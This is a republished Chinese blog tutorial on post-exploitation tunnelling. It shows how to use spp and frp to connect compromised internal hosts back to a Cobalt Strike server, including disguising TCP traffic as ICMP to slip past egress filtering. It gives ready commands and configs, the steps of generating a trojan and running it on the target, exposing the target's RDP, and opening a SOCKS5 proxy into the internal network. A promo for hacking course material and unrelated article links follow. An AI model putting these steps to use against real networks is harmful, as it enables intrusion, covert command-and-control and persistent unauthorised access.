内网渗透-隧道搭建ssp隧道代理工具frp内网穿透技术

news2024/11/13 9:57:43

内网渗透-隧道搭建&ssp隧道代理工具&frp内网穿透

内网穿透：解决网络控制上线&网络通讯问题 
隧道技术：解决不出网协议上线的问题（利用出网协议进行封装出网） 
代理技术：解决网络通讯不通的问题（利用跳板机建立节点后续操作）

 

spp隧道代理工具

支持的协议：
TCP、UDP、RUDP（可靠 UDP）、RICMP（可靠 ICMP）、RHTTP（可靠 HTTP）、KCP、Quic
支持类型：
正向代理、反向代理、SOCKS5正向代理、SOCKS5反向代理
协议和类型可以自由组合
外部代理协议和内部转发协议可以自由组合

spp工作原理图

spp详解以及下载地址：
https://github.com/esrrhs/spp/tree/0.6

image-20240529205935044

cs上线主机

spp代理通信

本工具使用简单，服务器、客户机各一条命令，就可建立连接。

服务端配置
chmod +x spp  ##添加执行权限
./spp -type server -proto tcp -listen :8888 ##启动spp，并设置为服务端，通信协议为tcp，监控本地的8888端口。

image-20240529211518533

客户端配置
chmod +x spp  ##添加执行权限
./spp -name "sx" -type reverse_proxy_client -server 服务器ip地址:8888 -fromaddr :7777 -toaddr :6666 -proxyproto tcp   ## 设置一个名字(自定义即可)，连接服务器的IP地址及端口，将服务器的端口7777映射到本地的端口6666上，设置通信协议为tcp。

image-20240529212247397

服务端可进行查看连接状态

image-20240529212536488

CS配置

CS需要设置两个监听器，一个用于生成木马，一个用于接收反弹shell。

设置CS生成木马的监听器

此监听器IP地址要设置为服务端的IP地址，端口为刚才设置的7777端口，相当于木马执行后，会去访问服务端的7777端，而之前的设置就是将服务端的7777端口信息转发到本地6666端口。

image-20240529213231703

配置CS监听上线的监听器

接受上线主机的监听器（shell）。

image-20240529213337949

生成木马

image-20240529213525160

将木马上传到目标主机当中，执行即可。

image-20240529213619046

成功上线

image-20240529213851077

image-20240529214357108

spp服务端代理状态：

image-20240529214020706

spp隧道搭建

若目标主机的出网TCP被禁止，但是ICMP协议是能够通信的，所以通过SPP将目标主机上的TCP流量伪装为ICMP协议转发给服务端。

服务端配置

这里设置监听的是icmp协议。

./spp -type server -proto ricmp -listen 0.0.0.0  ##这里设置监听ICMP协议，全端口

image-20240529214808484

客户端配置

客户端配置需要在目标主机上进行执行此命令，将本地的TCP伪装为ICMP所以需要转发本地的端口。

spp -name "sx" -type proxy_client -server 服务器IP -fromaddr :7777 -toaddr :6666 -proxyproto tcp -proto ricmp

image-20240602190712858

服务端状态，成功建立隧道

image-20240530191945279

CS配置

CS需要设置两个监听器，一个用于生成木马，一个用于接收反弹shell。

这生成本地的7777端口，因为客户端上已经设置了将7777端口转发了。

image-20240529221856082

生成另一个监听器，监听本地的IP地址的6666端口即可。

image-20240530192149453

监听器状态：

image-20240530192230323

生成木马，执行上线。

选择本地监听器，生成木马即可。

image-20240602190742759

将木马上传到目标机器，执行木马

image-20240530192807213

执行木马，成功上线

image-20240530192444768

spp客户端状态。并抓取流量分析，为icmp流量，伪装成功。

image-20240530192913290

ICMP流量

image-20240530194309039

spp隧道代理工具还可以伪装其他协议，具体详解见spp代理

frp内网穿透

frp 是一种快速反向代理，允许您将位于 NAT 或防火墙后面的本地服务器公开给Internet。它目前支持 TCP和 UDP，以及 HTTP和 HTTPS协议，支持通过域名将请求转发到内部服务。frp 还提供 P2P 连接模式。

项目地址：fatedier/frp

对应下载即可

image-20240602192523847

内网穿透上线

frp配置

服务端配置，修改frps.ini配置文件,简单配置

image-20240602192727135

客户端配置

[common]
server_addr = 服务器ip
server_port = 8080	#连接端口

[nwct]
type = tcp
local_ip = 127.0.0.1
local_port = 9999
remote_port = 8888

image-20240602194819390

服务端开启。客户端开启。观察状态，成功建立连接。

客户端开启，向服务器建立连接。

image-20240602194850298

服务端状态，成功建立连接。

image-20240602194926511

CS上线

客户端开启CS，配置监听器。需要两个监听器，一个生成木马，一个监听反弹shell。

生成木马的监听器配置：

image-20240602195030145

接受shell的监听器配置：

image-20240602202151483

生成木马，上传到目标机器当中，执行，成功上线

image-20240602202216995

上传到目标机，并执行木马

image-20240602195309111

成功上线

image-20240602195355801

配置RDP远程桌面连接内网主机

服务端简单配置不变，开启frp服务

image-20240602200039136

客户端在目标机上执行，配置文件修改

[common]
server_addr = 服务器ip
server_port = 8080

[RDP]
type = tcp
local_ip = 127.0.0.1
local_port = 3389
remote_port = 5555

image-20240602200604485

开启客户端服务,服务端查看状态，成功建立连接

image-20240602200619109

服务端状态

image-20240602200452644

远程桌面连接：

image-20240602200929920

成功连接

image-20240602200805779

socks5代理转发

通过代理转发，实现访问内网web服务

客户端配置：

[socks5]                
type = tcp              
remote_port = 8081
plugin = socks5

image-20240602201205354

客户端执行即可

image-20240602201230346

服务端状态：

image-20240602201254773

通过代理软件或浏览器代理插件配置代理，可访问内网服务

image-20240602201508017

访问内网web服务

image-20240602201728676

黑客&网络安全如何学习

今天只要你给我的文章点赞，我私藏的网安学习资料一样免费共享给你们，来看看有哪些东西。

 1.学习路线图 

 攻击和防守要学的东西也不少，具体要学的东西我都写在了上面的路线图，如果你能学完它们，你去就业和接私活完全没有问题。

2.视频教程

网上虽然也有很多的学习资源，但基本上都残缺不全的，这是我自己录的网安视频教程，上面路线图的每一个知识点，我都有配套的视频讲解。

内容涵盖了网络安全法学习、网络安全运营等保测评、渗透测试基础、漏洞详解、计算机基础知识等，都是网络安全入门必知必会的学习内容。

 

 （都打包成一块的了，不能一一展开，总共300多集）

因篇幅有限，仅展示部分资料，需要保存下方图片，微信扫码即可前往获取

3.技术文档和电子书

技术文档也是我自己整理的，包括我参加大型网安行动、CTF和挖SRC漏洞的经验和技术要点，电子书也有200多本，由于内容的敏感性，我就不一一展示了。 

  因篇幅有限，仅展示部分资料，需要保存下方图片，微信扫码即可前往获取

4.工具包、面试题和源码

“工欲善其事必先利其器”我为大家总结出了最受欢迎的几十款款黑客工具。涉及范围主要集中在 信息收集、Android黑客工具、自动化工具、网络钓鱼等，感兴趣的同学不容错过。 

 还有我视频里讲的案例源码和对应的工具包，需要的话也可以拿走。

因篇幅有限，仅展示部分资料，需要保存下方图片，微信扫码即可前往获取

 最后就是我这几年整理的网安方面的面试题，如果你是要找网安方面的工作，它们绝对能帮你大忙。

这些题目都是大家在面试深信服、奇安信、腾讯或者其它大厂面试时经常遇到的，如果大家有好的题目或者好的见解欢迎分享。

参考解析：深信服官网、奇安信官网、Freebuf、csdn等

内容特点：条理清晰，含图像化表示更加易懂。

内容概要：包括 内网、操作系统、协议、渗透测试、安服、漏洞、注入、XSS、CSRF、SSRF、文件上传、文件下载、文件包含、XXE、逻辑漏洞、工具、SQLmap、NMAP、BP、MSF…

 因篇幅有限，仅展示部分资料，需要保存下方图片，微信扫码即可前往获取 

  

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.coloradmin.cn/o/1840417.html

如若内容造成侵权/违法违规/事实不符，请联系多彩编程网进行投诉反馈，一经查实，立即删除！

相关文章

C++ —— unordered_set、unordered_map的介绍及使用

C++ —— unordered_set、unordered_map的介绍及使用

目录 unordered系列关联式容器 unordered_set的介绍 unordered_set的使用 unordered_set的定义方式 unordered_set接口的使用 unordered_multiset unordered_map的介绍 unordered_map的使用 unordered_map的定义方式 unordered_map接口的使用 unordered_multimap …
阅读更多...
【两数之和】

【两数之和】

两数之和 一、题目二、暴力解法三、哈希表四、map字典1.基本方法.set()添加键值对.get()通过键获取值.has()判断map是否有这个键 2.map和set的联系和区别共同点共同点MapSet 一、题目 二、暴力解法 三、哈希表 解题思路：将nums的元素依次以键值对的方式存储在map字典…
阅读更多...
怎么看OV泛域名证书市场占有率提升

怎么看OV泛域名证书市场占有率提升

近年来，随着网络安全的逐渐普及，使用SSL证书的站点也逐渐增多。https证书也成为了当下最受欢迎的数字证书之一，主要是用于保护网站和应用程序的安全，并提升用户对网站的信任度，且只有企业或组织才可申请OV级别的SSL证书…
阅读更多...
VMware虚拟机三种网络模式设置 - Bridged（桥接模式）

VMware虚拟机三种网络模式设置 - Bridged（桥接模式）

一、前言 由于linux目前很热门，越来越多的人在学习linux，但是买一台服务放家里来学习，实在是很浪费。那么如何解决这个问题？虚拟机软件是很好的选择，常用的虚拟机软件有vmware workstations和virtual box等。 在使用虚…
阅读更多...
uniapp app一键登录

uniapp app一键登录

一键登录不需要单独写页面，uniapp 有原生的页面 第一步，登录Dcloud后台》我的应用》点击应用名称 填写完点击 uniCloud模块新建一个服务空间》选择免费 , 创建完点击一键登录，添加应用，这个需要审核，“大概一天左右”…
阅读更多...
yolov10官方demo

yolov10官方demo

python环境3.9 GitHub - THU-MIG/yolov10: YOLOv10: Real-Time End-to-End Object Detection 将模型移动到项目目录下 项目执行导入依赖 conda create -n yolov10 python3.9 conda activate yolov10 pip install -r requirements.txt pip install -e .
阅读更多...
鸿萌的成功案例：数据“失而复得”的奇迹，奥睿科磁盘阵列恢复记

鸿萌的成功案例：数据“失而复得”的奇迹，奥睿科磁盘阵列恢复记

2024 年 6 月 3 日，鸿萌收到了来自大连某客户的一台奥睿科 ORICO 3548RUS3 四盘位 DAS 磁盘阵列。 故障背景 故障设备如下图所示，它曾经承载了客户满满的信赖与期待。 ORICO 3548RUS3 四盘位 DAS 磁盘阵列 有时，命运的转折让人猝不及防&am…
阅读更多...
全新防关联技术出炉：亚马逊测评环境优化，下单成功率大提升

全新防关联技术出炉：亚马逊测评环境优化，下单成功率大提升

在竞争激烈的测评行业中，构建一个稳定且高效的环境系统成为了制胜的关键。然而，市场上现有的环境方案如虚拟机、模拟机、GCS、云手机、VPS等不仅成本高昂，而且面临着在风控严格的平台上如亚马逊难以逃脱检测的挑战，进而影响了测评…
阅读更多...
决策树算法：揭示数据背后的决策逻辑

决策树算法：揭示数据背后的决策逻辑

目录 一 决策树算法原理 特征选择 信息增益 信息增益比 基尼指数 树的构建 树的剪枝 预剪枝 后剪枝 二 决策树算法实现 一 使用决策树进行分类 数据预处理 构建决策树模型 二 使用决策树进行回归 数据预处理 构建决策树回归模型 三 决策树算法的优缺点 优点 …
阅读更多...
发力采销，京东的“用户关系学”

发力采销，京东的“用户关系学”

作者 | 曾响铃 文 | 响铃说 40多岁打扮精致的城市女性，在西藏那曲的偏远农村，坐着藏民的摩托车，行驶在悬崖边的烂泥路上，只因为受顾客的“委托”，要寻找最原生态的藏区某款产品。 30多岁的憨厚中年男性，…
阅读更多...
ROM修改进阶教程------小米机型不解锁bl 刷写国际版固件 rom修改解析

ROM修改进阶教程------小米机型不解锁bl 刷写国际版固件 rom修改解析

众所周知，小米机型要刷写国际版固件需要解锁bl先。否则开机会进不去系统。报错。究其原因是因为有区域限制。目前。在国外安卓论坛上已经有作者分享了一些国内版无需解锁bl刷写国际版固件的资源。 本人下载了一些固件通过与官方固件的对比了解了其中的一些区别，可能有网友询…
阅读更多...
基于Baichuan2的新冠流感中医自我诊断治疗(大模型微调+Gradio)

基于Baichuan2的新冠流感中医自我诊断治疗(大模型微调+Gradio)

一、项目说明 项目使用paddleNLP提供的大模型套件对Baichuan2-7b/13b进行微调，使用《中医治疗新冠流感支原体感染等有效病历集》进行Lora训练，使大模型具备使用中医方案诊断和治疗新冠、流感等上呼吸道感染的能力。 二、PaddleNLP PaddleNLP提供的飞桨…
阅读更多...
2024最新宝塔面板8.1.0企业版开心版

2024最新宝塔面板8.1.0企业版开心版

官方更新记录 【增加】增加【网站】-【HTML项目】 【优化】优化Docker模块使用体验 【优化】优化文件压缩和解压的速度 【修复】修复在上一版本中出现的所有已知问题 开心版更新记录 1.在 PHP切换页面，出现报错弹窗属于正常情况，是因爲没安装 企业…
阅读更多...
Chrome插件开发入门：手把手教你创建第一个扩展

Chrome插件开发入门：手把手教你创建第一个扩展

问题背景 最近，客户发布了一个新的任务 —— 开发一个Chrome插件。之前没有这方面的开发经验，准备想学习一下这块的内容，我发现网上的大多数视频都是几年前的，开发版本都是基于MV2，当前谷歌已经开始使用MV3&#xff0…
阅读更多...
【嵌入式编程】-C语言结构体成员对齐、填充和数据打包

【嵌入式编程】-C语言结构体成员对齐、填充和数据打包

C语言结构体成员对齐、填充和数据打包 文章目录 C语言结构体成员对齐、填充和数据打包1、内存中的数据对齐2、C语言中的结构填充3、如何减少结构填充4、C语言中结构填充的常见问题解答 在 C 语言中，结构用作数据包。它们不提供任何数据封装或数据隐藏功能。在本文中…
阅读更多...
HarmonyOS【ArkUI组件--TextInput】

HarmonyOS【ArkUI组件--TextInput】

1.文本输入框基本用法 2. 使用文本输入框组件（如何实现输入数字改变图片大小） 在此博客的基础上继续编写：HarmonyOS【ArkUI组件--Text】-CSDN博客 ①代码如下： import font from ohos.font Entry Component struct Index {State …
阅读更多...
【吊打面试官系列-Mysql面试题】Myql 中的事务回滚机制概述 ?

【吊打面试官系列-Mysql面试题】Myql 中的事务回滚机制概述 ?

大家好，我是锋哥。今天分享关于 【Myql 中的事务回滚机制概述 ?】面试题，希望对大家有帮助； Myql 中的事务回滚机制概述 ? 事务是用户定义的一个数据库操作序列，这些操作要么全做要么全不做，是一个不可分割的工作单位…
阅读更多...
RK3568技术笔记十二 Android编译方法

RK3568技术笔记十二 Android编译方法

Android源码说明 Android源码在SAIL-RK3568开发板光盘->Android->源代码中，由于android源码太大，在进行压缩时，进行分包压缩，因此有4部分，如图所示： 进行解压时，需将4部分压缩包放置同一…
阅读更多...
linux写代码环境和工具

linux写代码环境和工具

基础指令 目录 前言 二、yum工具的使用 1.yum是什么？ 2.查看软件包 3.配置sudo 4.如何卸载软件 三、vim的使用 1. vim的基本概念 2. vim的基本操作 3. vim正常模式命令集 4.简单vim配置 四、Linux编译器-gcc/g使用 1、格式 2、gcc选项 3.gcc/g工作和…
阅读更多...
四连杆机构运动学仿真 | Matlab源码+理论文本【超详细】

四连杆机构运动学仿真 | Matlab源码+理论文本【超详细】

【程序简介】💻🔍 本程序通过matlab实现了四连杆机构的运动学仿真编程，动态展现了四连杆机构的角位移、角速度和角加速度的时程曲线，除了程序本身，还提供了机构运动学详细的公式推导文档，从而帮助大家更好…
阅读更多...
推荐文章
最新文章

Copyright @ 2022~2023